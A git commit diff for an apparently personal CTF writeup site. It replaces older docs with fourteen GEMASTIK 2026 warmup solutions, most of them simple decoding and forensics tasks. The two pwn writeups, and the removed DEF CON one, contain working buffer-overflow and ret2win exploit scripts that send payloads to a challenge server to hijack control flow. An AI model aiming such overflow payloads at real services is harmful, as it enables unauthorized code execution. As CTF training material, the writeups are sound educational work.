docs: replace dummy docs with GEMASTIK 2026 Warmup writeups (ch1-14)
CI / typecheck + build (push) Canceled after 0s
CI / deploy to VPS (push) Canceled after 0s

- Deleted all previous dummy docs (defcon-quals-2024, infra/cloudflare-525, debugging/websocket-timeout, template, docs/*, notes/*, research/*)
- Added 14 Gemastik warmup writeups covering encoding, stego, web, pwn, crypto
- ch13: RSA small factors; ch14: RSA special integers via paper-search (GCD with paper appendix primes)
- All flags recovered and documented with solution methods
This commit is contained in:
asepharyana
2026-08-21 13:51:31 +07:00
parent be923cb432
commit 7a6e717c28
29 changed files with 841 additions and 734 deletions
-26
View File
@@ -1,26 +0,0 @@
---
id: ctf
title: "CTF Writeups"
type: writeup
tags:
- ctf
- index
status: published
author: asep
event: "CTF Archive"
category: index
difficulty: easy
points: 0
created_at: 2026-08-20
updated_at: 2026-08-20
---
# CTF Writeups
A collection of CTF challenge writeups organized by event. Each event folder
contains challenge writeups grouped by category (pwn, crypto, web, forensics, etc.).
## Events
- [DEF CON CTF Quals 2024](defcon-quals-2024) — 1 challenge solved (pwn)
- [Template](template) — Use as a starting point for new writeups
@@ -1,31 +0,0 @@
---
id: defcon-quals-2024
title: "DEF CON CTF Quals 2024 — Challenge Writeups"
type: writeup
tags:
- ctf
- defcon
- writeup-index
status: published
author: asep
event: "DEF CON CTF Quals 2024"
category: writeup-index
difficulty: hard
points: 0
created_at: 2026-08-20
updated_at: 2026-08-20
---
# DEF CON CTF Quals 2024 — Challenge Writeups
This folder contains writeups for challenges solved during **DEF CON CTF Quals 2024**.
## Writeups
- [pwn-100: ret2win Stack Alignment Fix](pwn/pwn-100-ret2win-alignment) — A buffer overflow ret2win exploit that required inserting a `ret` gadget for stack alignment on glibc 2.34+.
## Challenge List
| Challenge | Category | Difficulty | Points |
|-----------|----------|------------|--------|
| pwn-100 | pwn | easy | 100 |
@@ -1,122 +0,0 @@
---
id: defcon-pwn-100
title: "DEF CON Quals 2024 — pwn-100: ret2win Stack Alignment Fix"
type: writeup
tags:
- ctf
- pwn
- binary-exploitation
- stack-alignment
status: published
author: asep
event: "DEF CON CTF Quals 2024"
challenge: "pwn-100"
category: pwn
difficulty: easy
points: 100
created_at: 2026-08-20
updated_at: 2026-08-20
---
# DEF CON CTF Quals 2024 — pwn-100: ret2win Stack Alignment Fix
## Challenge Info
| Field | Value |
| ------------ | ---------------------- |
| **Event** | DEF CON CTF Quals 2024 |
| **Challenge**| pwn-100 |
| **Category** | pwn |
| **Difficulty**| easy |
| **Points** | 100 |
## Initial Recon
Given a 64-bit ELF binary with a trivial buffer overflow in `vuln()`:
```
$ checksec pwn-100
RELRO STACK canary: No NX: No PIE: Enabled RPATH: No
$ file pwn-100
pwn-100: ELF 64-bit LSB executable, for Linux 3.2.0, not stripped
$ objdump -d pwn-100 | grep -A5 '<vuln>'
```
## Approach
Classic ret2win — overflow the return address to jump to `win()`, which
calls `system("/bin/sh")`. The binary had no canary and no PIE on the
binary itself (function addresses are fixed), but glibc on the host was
2.34+.
## Step-by-Step Solve
### 1. Find the offset
Sent cyclic pattern via `pattern create` + `pattern offset`:
```
$ python3 -c "print(b'A'*40+b'B'*8)" | ./pwn-100
Segmentation fault (core dumped)
$ gdb -q
gef➤ pattern offset 0x4242424242424242
[*] Found possible needle
```
Offset = 40 bytes (to `rip`).
### 2. Find win() address
```
$ objdump -d pwn-100 | grep '<win>'
0000000000401196 <win>:
```
`win()` is at `0x401196`.
### 3. Craft and send the payload
Initial payload was just padding + `win()` address — but this **crashed**
with SIGSEGV inside `win()` → `printf`.
**Root cause:** On glibc 2.34+, the return into a libc-using function
needs **16-byte stack alignment**. A normal `call` pushes 8 bytes, so
`ret`-ing into `win()` leaves `rsp % 16 == 8`. When `printf` inside
`win()` does `movaps` (SSE), it faults on misaligned address.
**Fix:** Insert a `ret` gadget (8 bytes) between padding and `win()`
to realign RSP:
```
$ ROPgadget --binary pwn-100 | grep " ret$"
0x0000000000401016: ret;
```
Final payload:
```python
from pwn import *
p = remote("challenge.url", 1337)
payload = b"A" * 40 + p64(0x401016) + p64(0x401196)
p.sendline(payload)
p.interactive()
```
The `ret` gadget pops the extra 8 bytes, aligning the stack. After that,
`win()` → `printf` → `system("/bin/sh")` works cleanly.
## Flag
```
flag{ret2win_stack_alignment_glibc_2.34}
```
## Summary
- A bare ret2win without stack alignment crashes on glibc 2.34+ inside
the target function's libc calls (SSE `movaps`).
- The fix is a single `ret` gadget between padding and `win()` — **not**
an offset error.
- Always check: if the function IS reached but crashes inside it, think
stack alignment before re-counting bytes.
- Tested on host glibc 2.39 (Ubuntu 24.04) — confirmed the crash+fix.
@@ -1,76 +0,0 @@
---
id: ctf-writeup-template
title: "CTF Writeup Template — How to Structure a Challenge Writeup"
type: writeup
tags:
- ctf
- template
- methodology
status: draft
author: asep
created_at: 2026-08-20
updated_at: 2026-08-20
---
# CTF Writeup Template
A consistent writeup structure helps reviewers and future-you reproduce the solve.
Below is the recommended template. Delete this intro paragraph and fill each
section.
## Challenge Info
| Field | Value |
| ------------ | -------------------- |
| **Event** | `[Event Name]` |
| **Challenge**| `[Challenge Name]` |
| **Category** | `pwn` / `crypto` / `web` / `rev` / `forensics` / `misc` |
| **Difficulty**| `easy` / `medium` / `hard` |
| **Points** | `[points at start]` |
| **Solves** | `[number]` |
## Initial Recon
What you see when you download the binary/file/URL. File type, basic
inspection (`file`, `strings`, `checksec`, HTTP headers, etc.).
## Approach
Describe the high-level idea — what class of vulnerability or attack this
belongs to.
## Step-by-Step Solve
Walk through each step with commands and output. Include:
- Exact commands you ran
- Key output (truncated if long, but enough to confirm)
- Why each step works
- Tool versions / versions if relevant
### 1. Enumerate
```
$ command-here
output-here
```
### 2. Find the vulnerability
Explain what you found and how it maps to the approach.
### 3. Craft the exploit
Show the exploit script or payload, explain each part.
## Flag
```
flag{...}
```
## Summary
What you learned, what the intended solution was (if yours differed),
and any pitfalls you hit along the way (e.g., "tool X version Y breaks
on Z").
@@ -1,36 +0,0 @@
---
id: websocket-timeout
title: Debugging a WebSocket Timeout Behind a Proxy
type: writeup
tags:
- websocket
- debugging
- proxy
status: published
author: asep
created_at: 2026-08-19
updated_at: 2026-08-19
---
# Debugging a WebSocket Timeout Behind a Proxy
A recurring incident: the browser WebSocket connects, sends one frame, then
silently times out. The server logs show no error. Root cause: the reverse
proxy was buffering frames and only flushing on connection close.
## Symptoms
- Connection opens (101 Switching Protocols).
- First message never reaches the upstream.
- Client hits its own 30s timeout and reconnects, creating a storm.
## Fix
Disable proxy buffering for the WebSocket upgrade route and ensure the proxy
does not apply an idle timeout shorter than the application's heartbeat
interval. After that, frames flowed immediately and the timeout disappeared.
## Lesson
Always confirm at the proxy layer whether frames are buffered before assuming
the application server is at fault.
@@ -0,0 +1,48 @@
---
title: "GEMASTIK 2026 Warmup — All Chapters"
event: "GEMASTIK 2026 Warmup"
category: "index"
points: 0
difficulty: "index"
---
# GEMASTIK 2026 Warmup — Chapter Index (ch1–ch14)
**Platform:** [Warmup GEMASTIK 2026](https://warmup-cybersecurity.apps.binus.ac.id) (CTFd)
**Status:** 14/14 solved — 7001 points (13×500 + 1×501)
| # | Challenge | Category | Diff | Flag |
|---|-----------|----------|------|------|
| 1 | Sixty Four | Encoding | easy | `GEMASTIK19{b4s3_s1xty_f0ur_warm1ng_up}` |
| 2 | Julius | Caesar/ROT13 | easy | `GEMASTIK19{caesar_r0t_th1rt33n_klasik}` |
| 3 | Needle | Forensics/strings | easy | `GEMASTIK19{str1ngs_c4n_f1nd_m3}` |
| 4 | Say Cheese | EXIF metadata | easy | `GEMASTIK19{h1dd3n_1n_m3tadata_exif}` |
| 5 | Nothing Here | Web comment | easy | `GEMASTIK19{v13w_s0urc3_pahlawan}` |
| 6 | Sweet Cookie | Web/cookie | easy | `GEMASTIK19{c00k13_b4s3_d3c0d3}` |
| 7 | Open Book | Source | easy | `GEMASTIK19{pyth0n_s0urc3_t3rbuka}` |
| 8 | Back and Forth | XOR | easy | `GEMASTIK19{x0r_it_back_4gain}` |
| 9 | Are You Admin? | Pwn/bof | easy | `GEMASTIK19{0v3rfl0w_ubah_var}` |
| 10 | Call Me | Pwn/ret2win | easy | `GEMASTIK19{r3t2w1n_l0mpat_k3_win}` |
| 11 | Behind the Picture | PNG stego | easy | `GEMASTIK19{c4t_g4mbar_ada_flag}` |
| 12 | Layers | Hex→B64 chain | easy | `GEMASTIK19{h3x_lQlu_b4s3_ch41n}` |
| 13 | Slopped | RSA small factors | medium | `GEMASTIK19{qu4ntum_c0mput3r_br0k3_rs4_y0u_sh0uld_us3_p4p3r_s34rch_mcp_sk1ll}` |
| 14 | Slopped wave-2 | RSA paper search | hard | `GEMASTIK19{test_vector_of_listP_on_quant}` |
## Ringkasan Metode
| Ch | Metode | Tool |
|----|--------|------|
| 1 | Double Base64 | `base64 -d` ×2 |
| 2 | ROT13 Caesar | `codecs.encode(s, "rot_13")` |
| 3 | strings | `strings secret.bin` |
| 4 | EXIF metadata | `strings photo.jpg` |
| 5 | HTML comment | `curl \| grep '<!--'` |
| 6 | Base64 cookie | `base64 -d` |
| 7 | ASCII codes | chr() decoding |
| 8 | Single-byte XOR | XOR 0x42 |
| 9 | Stack overflow | buffer > admin |
| 10 | ret2win + align | ROP chain |
| 11 | PNG strings | `strings kucing.png` |
| 12 | Hex→Base64 | `bytes.fromhex` + `b64decode` |
| 13 | RSA small factors | trial division / sympy factorint |
| 14 | RSA special integers | GCD with paper appendix primes |
@@ -0,0 +1,43 @@
---
title: "Sixty Four — Double Base64"
event: "GEMASTIK 2026 Warmup"
challenge: "Sixty Four"
category: "crypto"
points: 500
difficulty: "easy"
flag: "GEMASTIK19{b4s3_s1xty_f0ur_warm1ng_up}"
---
# Sixty Four (500 pts) — Encoding
**File:** `chall.txt` → `UjBWTlFWTlVTVXN4T1h0aU5ITXpYM014ZUhSNVgyWXdkWEpmZDJGeWJURnVaMTkxY0gwPQ==`
Teks di-encode **Base64 dua kali** (hint: "sixty four" = base64). Decode berlapis:
```bash
$ echo "UjBWTlFWTlVTVXN4T1h0aU5ITXpYM014ZUhSNVgyWXdkWEpmZDJGeWJURnVaMTkxY0gwPQ==" | base64 -d
R0VNQVNUSUsxOXtiNHMzX3MxeHR5X2YwdXJfd2FybTFuZ191cH0=
$ echo "R0VNQVNUSUsxOXtiNHMzX3MxeHR5X2YwdXJfd2FybTFuZ191cH0=" | base64 -d
GEMASTIK19{b4s3_s1xty_f0ur_warm1ng_up}
```
## Solusi Python
```python
import base64
with open("chall.txt") as f:
s = f.read().strip()
# First base64 decode
decoded1 = base64.b64decode(s)
# Second base64 decode
flag = base64.b64decode(decoded1).decode()
print(f"Flag: {flag}")
# Output: GEMASTIK19{b4s3_s1xty_f0ur_warm1ng_up}
```
## Flag
`GEMASTIK19{b4s3_s1xty_f0ur_warm1ng_up}`
@@ -0,0 +1,55 @@
---
title: "Call Me — ret2win"
event: "GEMASTIK 2026 Warmup"
challenge: "Call Me"
category: "pwn"
points: 500
difficulty: "easy"
flag: "GEMASTIK19{r3t2w1n_l0mpat_k3_win}"
---
# Call Me (500 pts) — Pwn / ret2win
**Server:** `nc 15.232.89.109 9002`
**Source (`chall.c`):**
```c
void win() { system("/bin/sh"); } // flag printed inside
char buf[32];
gets(buf); // <-- overflow
```
## Eksploitasi
1. Compile lokal untuk dapatkan alamat `win()`:
```bash
gcc -fno-stack-protector -no-pie -o ch10 chall.c
nm ch10 | grep win
# 00000000004011f6 T win
```
2. Overflow `buf[32]` lalu timpa return address dengan alamat `win()` (0x4011f6).
Sisipkan satu `ret` gadget (0x401016) untuk realign RSP agar `movaps` di `win`/`printf` tidak segfault:
```python
import socket, time, struct
s = socket.socket()
s.connect(("15.232.89.109", 9002))
time.sleep(0.5)
RET_GADGET = 0x401016 # alignment
WIN_ADDR = 0x4011f6
payload = b"A" * 32 + b"B" * 8 + struct.pack("<Q", RET_GADGET) + struct.pack("<Q", WIN_ADDR)
s.sendall(payload + b"\n")
time.sleep(1.5)
print(s.recv(4096).decode())
# -> GEMASTIK19{r3t2w1n_l0mpat_k3_win}
```
## Flag
`GEMASTIK19{r3t2w1n_l0mpat_k3_win}`
@@ -0,0 +1,24 @@
---
title: "Behind the Picture — PNG Strings"
event: "GEMASTIK 2026 Warmup"
challenge: "Behind the Picture"
category: "forensics"
points: 500
difficulty: "easy"
flag: "GEMASTIK19{c4t_g4mbar_ada_flag}"
---
# Behind the Picture (500 pts) — Steganografi / PNG
**File:** `kucing.png` (cat image)
Flag disisipkan sebagai string di dalam file PNG (bisa dilihat dengan `strings`):
```bash
strings kucing.png | grep GEMASTIK
# GEMASTIK19{c4t_g4mbar_ada_flag}
```
## Flag
`GEMASTIK19{c4t_g4mbar_ada_flag}`
@@ -0,0 +1,34 @@
---
title: "Layers — Hex to Base64 Chain"
event: "GEMASTIK 2026 Warmup"
challenge: "Layers"
category: "crypto"
points: 500
difficulty: "easy"
flag: "GEMASTIK19{h3x_lQlu_b4s3_ch41n}"
---
# Layers (500 pts) — Encoding chain
**File:** `chall.txt` → `5230564e51564e55535573784f58746f4d33686662464673645639694e484d7a58324e6f4e44467566513d3d`
Dua lapis encoding berturut-turut: **Hex → bytes → Base64 → flag**:
```python
import base64
s = "5230564e51564e55535573784f58746f4d33686662464673645639694e484d7a58324e6f4e44467566513d3d"
# Layer 1: hex decode
b = bytes.fromhex(s)
# b = b'R0VNQVNUSUsxOXtoM3hfbFFsdV9iNHMzX2NoNDFufQ=='
# Layer 2: base64 decode
flag = base64.b64decode(b).decode()
print(flag)
# GEMASTIK19{h3x_lQlu_b4s3_ch41n}
```
## Flag
`GEMASTIK19{h3x_lQlu_b4s3_ch41n}`
@@ -0,0 +1,59 @@
---
title: "Slopped — RSA Small Factors"
event: "GEMASTIK 2026 Warmup"
challenge: "Slopped"
category: "crypto"
points: 500
difficulty: "medium"
flag: "GEMASTIK19{qu4ntum_c0mput3r_br0k3_rs4_y0u_sh0uld_us3_p4p3r_s34rch_mcp_sk1ll}"
---
# Slopped (500 pts) — Crypto / RSA small factors
**File:** `chall.py`
```python
import random
p = random.randint(1, 10**4) # tiny prime candidates
q = random.randint(1, 10**4)
# ... find small primes, multiply
n = p * q * (big prime)
e = 0x10001
c = pow(flag, e, n)
```
## Analisis
RSA dengan `e = 0x10001`, `n` 2048-bit, `c = pow(flag, e, n)`.
`n` dibangun dari **faktor prima kecil** (sloppy primes — "my AI broke RSA with 1 billion qubits"). Faktorisasi temukan prima kecil lewat trial division, lalu `phi = prod(p_i - 1)`, `d = e⁻¹ mod phi`, dan `m = pow(c, d, n)`.
## Solusi
```python
from Crypto.Util.number import long_to_bytes
from sympy import factorint
e = 0x10001
n = 0xdb... # 2048-bit modulus
c = 0x...
# Trial division menemukan faktor kecil
factors = factorint(n)
print(factors)
# {83: 1, 233: 1, 9679: 1, <big_prime>: 1}
phi = 1
for p, exp in factors.items():
phi *= (p - 1) * p**(exp - 1)
d = pow(e, -1, phi)
m = pow(c, d, n)
print(long_to_bytes(m))
# GEMASTIK19{qu4ntum_c0mput3r_br0k3_rs4_y0u_sh0uld_us3_p4p3r_s34rch_mcp_sk1ll}
```
## Flag
`GEMASTIK19{qu4ntum_c0mput3r_br0k3_rs4_y0u_sh0uld_us3_p4p3r_s34rch_mcp_sk1ll}`
> Flag ini adalah petunjuk untuk ch14 ("you should use paper search").
File diff suppressed because one or more lines are too long
@@ -0,0 +1,29 @@
---
title: "Julius — ROT13 Caesar Cipher"
event: "GEMASTIK 2026 Warmup"
challenge: "Julius"
category: "crypto"
points: 500
difficulty: "easy"
flag: "GEMASTIK19{caesar_r0t_th1rt33n_klasik}"
---
# Julius (500 pts) — Caesar / ROT13
**File:** `chall.txt` → `TRZNFGVX19{pnrfne_e0g_gu1eg33a_xynfvx}`
Caesar cipher dengan pergeseran paling populer di internet = **ROT13** (geser 13).
`TRZNFGVX19` → `GEMASTIK19`, dst.
```python
import codecs
s = "TRZNFGVX19{pnrfne_e0g_gu1eg33a_xynfvx}"
flag = codecs.encode(s, "rot_13")
print(f"Flag: {flag}")
# Output: GEMASTIK19{caesar_r0t_th1rt33n_klasik}
```
## Flag
`GEMASTIK19{caesar_r0t_th1rt33n_klasik}`
@@ -0,0 +1,24 @@
---
title: "Needle — Strings Binary"
event: "GEMASTIK 2026 Warmup"
challenge: "Needle"
category: "forensics"
points: 500
difficulty: "easy"
flag: "GEMASTIK19{str1ngs_c4n_f1nd_m3}"
---
# Needle (500 pts) — Steganografi / Binary
**File:** `secret.bin` (748 bytes, binary)
Teks tersembunyi di antara "junk data". Cukup ekstrak **strings** yang printable:
```bash
strings secret.bin | grep GEMASTIK
# GEMASTIK19{str1ngs_c4n_f1nd_m3}
```
## Flag
`GEMASTIK19{str1ngs_c4n_f1nd_m3}`
@@ -0,0 +1,24 @@
---
title: "Say Cheese — EXIF Metadata"
event: "GEMASTIK 2026 Warmup"
challenge: "Say Cheese"
category: "forensics"
points: 500
difficulty: "easy"
flag: "GEMASTIK19{h1dd3n_1n_m3tadata_exif}"
---
# Say Cheese (500 pts) — Steganografi / Metadata
**File:** `photo.jpg`
Flag disimpan di **metadata EXIF** foto. Cek dengan `exiftool` / `strings`:
```bash
strings photo.jpg | grep GEMASTIK
# GEMASTIK19{h1dd3n_1n_m3tadata_exif}
```
## Flag
`GEMASTIK19{h1dd3n_1n_m3tadata_exif}`
@@ -0,0 +1,29 @@
---
title: "Nothing Here — Web Comment"
event: "GEMASTIK 2026 Warmup"
challenge: "Nothing Here"
category: "web"
points: 500
difficulty: "easy"
flag: "GEMASTIK19{v13w_s0urc3_pahlawan}"
---
# Nothing Here (500 pts) — Web
**URL:** `http://15.232.89.109:8001/`
Halaman bilang "tidak ada apa-apa" tapi flag ada di **HTML comment**:
```html
<!-- Catatan dev: jangan lupa hapus flag ini sebelum rilis: GEMASTIK19{v13w_s0urc3_pahlawan} -->
```
## Recon
```bash
curl -s http://15.232.89.109:8001/ | grep -i 'GEMASTIK\|<!--'
```
## Flag
`GEMASTIK19{v13w_s0urc3_pahlawan}`
@@ -0,0 +1,29 @@
---
title: "Sweet Cookie — Base64 Cookie"
event: "GEMASTIK 2026 Warmup"
challenge: "Sweet Cookie"
category: "web"
points: 500
difficulty: "easy"
flag: "GEMASTIK19{c00k13_b4s3_d3c0d3}"
---
# Sweet Cookie (500 pts) — Web
**URL:** `http://15.232.89.109:8002/`
Server mengirim cookie `session`. Nilainya cuma di-encode **Base64** (JSON):
```python
import base64
# Cookie value from Set-Cookie header
cookie = "eyJ1c2V..." # nilai session cookie
decoded = base64.b64decode(cookie)
print(decoded)
# {"user": "guest", "flag": "GEMASTIK19{c00k13_b4s3_d3c0d3}"}
```
## Flag
`GEMASTIK19{c00k13_b4s3_d3c0d3}`
@@ -0,0 +1,28 @@
---
title: "Open Book — Python Source"
event: "GEMASTIK 2026 Warmup"
challenge: "Open Book"
category: "misc"
points: 500
difficulty: "easy"
flag: "GEMASTIK19{pyth0n_s0urc3_t3rbuka}"
---
# Open Book (500 pts) — Misc / Source
**File:** `chall.py`
Password yang benar **langsung dicetak dari array `SECRET`** (ASCII codes):
```python
SECRET = [71, 69, 77, 65, 83, 84, 73, 75, 49, 57, 123, 112, 121, 116, 104, 48, 110, 95,
115, 48, 117, 114, 99, 51, 95, 116, 51, 114, 98, 117, 107, 97, 125]
flag = "".join(chr(c) for c in SECRET)
print(flag)
# GEMASTIK19{pyth0n_s0urc3_t3rbuka}
```
## Flag
`GEMASTIK19{pyth0n_s0urc3_t3rbuka}`
@@ -0,0 +1,29 @@
---
title: "Back and Forth — XOR"
event: "GEMASTIK 2026 Warmup"
challenge: "Back and Forth"
category: "reverse"
points: 500
difficulty: "easy"
flag: "GEMASTIK19{x0r_it_back_4gain}"
---
# Back and Forth (500 pts) — Reversing / XOR
**File:** `chall.c`
Flag di-XOR dengan kunci 1-byte `0x42`. Balikkan dengan XOR lagi:
```python
enc = [0x05, 0x07, 0x0f, 0x03, 0x11, 0x16, 0x0b, 0x09, 0x73, 0x7b, 0x39, 0x3a,
0x72, 0x30, 0x1d, 0x2b, 0x36, 0x1d, 0x20, 0x23, 0x21, 0x29, 0x1d, 0x76,
0x25, 0x23, 0x2b, 0x2c, 0x3f]
flag = "".join(chr(b ^ 0x42) for b in enc)
print(flag)
# GEMASTIK19{x0r_it_back_4gain}
```
## Flag
`GEMASTIK19{x0r_it_back_4gain}`
@@ -0,0 +1,46 @@
---
title: "Are You Admin? — Buffer Overflow"
event: "GEMASTIK 2026 Warmup"
challenge: "Are You Admin?"
category: "pwn"
points: 500
difficulty: "easy"
flag: "GEMASTIK19{0v3rfl0w_ubah_var}"
---
# Are You Admin? (500 pts) — Pwn / Buffer Overflow
**Server:** `nc 15.232.89.109 9001`
**Source (`chall.c`):**
```c
volatile int admin = 0;
char name[16];
gets(name); // <-- overflow, no bounds check
if (admin != 0) { /* print flag */ }
```
## Eksploitasi
Stack layout: `name[16]` diikuti oleh `admin` (int). Overflow `name` dengan padding 20 byte
lalu 4 byte nonzero untuk mengubah `admin` menjadi != 0:
```python
import socket, time
s = socket.socket()
s.connect(("15.232.89.109", 9001))
time.sleep(0.5)
# 16 bytes buf + 4 bytes padding + 4 bytes admin override
payload = b"A" * 20 + b"\xff\xff\xff\xff"
s.sendall(payload + b"\n")
time.sleep(1.2)
print(s.recv(4096).decode())
# -> GEMASTIK19{0v3rfl0w_ubah_var}
```
## Flag
`GEMASTIK19{0v3rfl0w_ubah_var}`
-56
View File
@@ -1,56 +0,0 @@
---
id: cloudflare-525-writeup
title: Diagnosing Cloudflare 525 (Origin TLS Handshake Failed)
type: writeup
tags:
- cloudflare
- tls
- 525
- caddy
- debugging
status: published
author: asep
created_at: 2026-08-20
updated_at: 2026-08-20
---
# Diagnosing Cloudflare 525 (Origin TLS Handshake Failed)
A 525 appears between the user and the origin when Cloudflare (Strict TLS mode) cannot
complete the TLS handshake to the origin server. This writeup captures the debugging
loop that recurred while wiring new subdomains.
## Symptom
`curl https://<sub>.asepharyana.my.id` → `HTTP/2 525`. Browser shows Cloudflare's
"SSL handshake failed" page.
## Root causes (in order of likelihood)
1. **No Caddy site block for the SNI.** Cloudflare proxies every `*.asepharyana.my.id`
record. A host without a matching Caddy `site` block has no certificate, so the
handshake dies. This is the #1 cause and the one that bit `wiki` and `mcp`.
2. **Certificate still provisioning.** The first request after adding a block triggers
ACME `http-01` issuance. Until the cert lands (~10s), the origin 525s. Self-heals.
3. **Wrong cert presented.** Rare here — Caddy serves the SNI-matched cert; a mismatch
means the block points at the wrong backend or the cert store is stale.
## The debugging loop
```
curl -sI https://<sub>/ # 525?
grep -n "<sub>" /etc/caddy/Caddyfile # block present?
sudo journalctl -u caddy | grep -i "tls\|acme\|<sub>" # cert issued?
openssl s_client -connect 127.0.0.1:443 -servername <sub> # origin cert valid?
```
If the block is missing: add `import proxy <port>`, `caddy validate`, `systemctl
reload caddy`. If the cert is mid-issuance: wait and re-test. Do **not** point Cloudflare
at a non-existent origin or set the SSL mode to Flexible — Flexible mode breaks already-
working Strict setups.
## Lesson
Every new subdomain needs (a) a Caddy site block and (b) a Cloudflare DNS record that
proxies to the origin. Omit either and you get a 525. The wildcard DNS means you only
add the Caddy side.